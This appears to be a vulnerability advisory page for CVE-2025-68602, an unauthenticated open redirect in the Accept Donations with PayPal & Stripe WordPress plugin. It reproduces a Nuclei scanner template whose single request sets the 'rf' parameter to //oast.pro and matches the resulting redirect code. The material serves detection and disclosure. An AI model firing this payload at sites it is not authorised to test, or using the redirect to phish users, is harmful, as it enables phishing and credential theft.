CVE-2025-68602: Accept Donations with PayPal <= 1.5.2 - Open Redirect

2026-03-25 Accept Donations with PayPal PoC Public

Description

The Accept Donations with PayPal & Stripe plugin for WordPress is vulnerable to Open Redirect in all versions up to, and including, 1.5.2. This is due to insufficient validation on the redirect url supplied. This makes it possible for unauthenticated attackers to redirect users to potentially malicious sites if they can successfully trick them into performing an action.

PoC

id: CVE-2025-68602

info:
  name: Accept Donations with PayPal <= 1.5.2 - Open Redirect
  author: Shivam Kamboj
  severity: medium
  description: |
    The Accept Donations with PayPal & Stripe plugin for WordPress is vulnerable to Open Redirect in all versions up to, and including, 1.5.2. This is due to insufficient validation on the redirect url supplied. This makes it possible for unauthenticated attackers to redirect users to potentially malicious sites if they can successfully trick them into performing an action.
  impact: |
    Attackers can redirect users to malicious sites, facilitating phishing attacks and credential theft.
  remediation: |
    Update to the latest version beyond 1.5.1.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/easy-paypal-donation/accept-donations-with-paypal-152-unauthenticated-open-redirect
    - https://nvd.nist.gov/vuln/detail/CVE-2025-68602
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N
    cvss-score: 4.7
    cve-id: CVE-2025-68602
    epss-score: 0.00498
    epss-percentile: 0.41458
    cwe-id: CWE-601
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2025,wordpress,wp,wp-plugin,redirect,easy-paypal-donation,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/?wpedon-stripe-checkout-redirect=1&sk=nucleitest&ai=nucleitest&si=nucleitest&rf=//oast.pro"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - 'src="https://js.stripe.com/v3/"'

      - type: word
        part: body
        words:
          - "let rf = '//oast.pro"

      - type: word
        part: body
        words:
          - "window.location.href = rf;"

    extractors:
      - type: regex
        name: open-redirect
        part: body
        regex:
          - "let rf = '([^']+)'"
# digest: 490a00463044022077d2a7c6404a7bf0f2de961bb4114a51eee7a637ef4c96781fe0c3abb2dc4d1d02200292b2fdaf3a23b2d24a9cc57fcb400b5ecfffec83d69010dd1c7e9f6b5fd501:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-68602.yaml

References

Related Vulnerabilities